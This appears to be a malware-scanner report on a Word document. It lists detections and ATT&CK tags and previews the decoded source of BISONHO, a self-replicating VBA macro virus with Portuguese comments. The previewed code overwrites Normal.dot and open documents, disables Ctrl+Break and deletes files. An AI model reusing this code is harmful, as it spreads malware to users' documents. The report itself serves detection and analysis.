MALICIOUS
320
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro that utilizes the Shell() function to execute arbitrary code. This macro is identified as 'BISONHO' and appears to be a downloader, aiming to fetch and run a second-stage payload. The embedded script also contains email addresses and an ICQ UIN, likely associated with the malware's author or distribution.
Heuristics 6
-
ClamAV: Doc.Trojan.Ocor-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ocor-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 23177 bytes |
SHA-256: cd6917bb06ede3e339d0cd8e46f41c48b8831e07e775576977ff6e980a004154 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ocor-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
''''''''''''''''''''''''''''' BISONHO '''''''''''''''''''''''''''''''''''''''
'Bisonho Rulez
'OBS: Cuidado com essa linha ai de cima senao o virus da pau, nao deletem
'
'NOME DO VIRUS : BISONHO
'AUTOR : DICK MOE (FUNDADOR DO GRUPO)
'GRUPO : A BERNE MALTESA
'EMAIL : BERNEMALTESA@IEG.COM.BR OU TBUG@IG.COM.BR
'ORIGEM : BRASIL, FEV 2001
'ICQ UIN : 76267835
'
'INFECTA : DOC, DOT DAS VERSÕES DO WORD 97, 2000...
'POLIMORFO : NAO
'MUTANTE : NAO
'ENCRIPTADO : ISSO EU NAO SEI FAZER MESMO. QUEM SOUBER ME AJUDE PLEASE!
'STEALTH : SIM, COM MUITAS TECNICAS ATE QUE BEM AVANCADAS
'PROPAGA EMAIL : SIM (Thanks to melissa...)
'RETRO : ANIQUILA 7 AV'S, DESABILITA A PORRA DO XõBoBus
'EVENTOS : UM MONTE...
'PROTECAO : ACABA COM QUALQUER VIRUS JA EXISTENTE E COMPLICA A VIDA DO: ETHAN, ALEM DE DESABILITAR A VERIFICACAO DE MACROS NO WORD,
' : DESABILITAR OS MENUS DE VISUALIZACAO DE MACROS (MACROS E
' : BARRA DE TAREFAS), DESABILITAR AS TECLAS DE ATALHO PARA
' : A LISTA DE MACROS E PARA O EDITOR DO VISUAL BASIC E DESATIVAR
' : O AVISO PARA SALVAR O NORMAL.DOT
'BASE : COM BASE EM ALGUNS CODIGOS DO MEU VIRUS GHOUL, E EMAIL DO MELISSA
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Sub Document_Close()
'Executa quando um doc e fechado e transfere o controle para a sub
'Document_Open diretamente
Document_Open
End Sub
Private Sub Document_New()
'Executa quando um doc e criado
'Document_Open diretamente
Document_Open
End Sub
Private Sub Document_Open()
'Executa quando um doc e aberto e depois transfere o controle para a sub
'RetroAction
On Error Resume Next 'Se ocorrer algum erro... pule!
Application.EnableCancelKey = 0 'Desabilita Control+Break
Set Arch = ActiveDocument.VBProject.VBComponents.Item(1)
'Define as variaveis Arch, que aponta para um doc qualquer ativo,
Set Norm = NormalTemplate.VBProject.VBComponents.Item(1)
'Norm que aponta para o normal.dot, e
Set ItsMe = Me.VBProject.VBComponents.Item(1)
'ItsMe, que indica da onde o virus esta sendo executado.
If Norm.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto do normal nao for 'Bisonho Rulez, infecte!
Norm.CodeModule.DeleteLines 1, Norm.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)
Norm.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo
Norm.Name = "Bisonho" 'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*
If Arch.CodeModule.Lines(1, 1) <> "'Bisonho Rulez" Then
'Se a primeira linha do projeto de um arquivo aberto nao for 'Bisonho Rulez, infecte!
Arch.CodeModule.DeleteLines 1, Arch.CodeModule.CountOfLines
'Apaga todo o codigo estranho (que pode ser um outro virus, pq nao?)
Arch.CodeModule.InsertLines 1, ItsMe.CodeModule.Lines(1, ItsMe.CodeModule.CountOfLines)
'Infecta o arquivo
Arch.Name = "Bisonho" 'Muda o nome do projeto para Bisonho
End If 'Termina o bloco de condicoes *SE*
If Dir("C:\Ethan.___", 6) <> "" Then
'Aha, foi encontrado vestigios do ethan... (eu odeio esse virus nao sei pq)
SetAttr "C:\Ethan.___", vbNormal
'Define o atributo do arquivo como normal, e...
Kill "C:\Ethan.___" 'Deleta essa droga!
End If 'Termina o bloco de condicoes *SE*
RetroAction 'Chama a sub RetroAction
If Day(Now) = Month(Now) Then ChooseActions
'Chama os eventos se o dia for igual ao mes
If Minute(Now) = Second(Now) Then
'Se o segundo e igual ao minuto, faz o cara dizer que tem o pau pequeno
Msg = "Ocorreu um erro. A possivel causa e que vc tenha um penis pequ
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.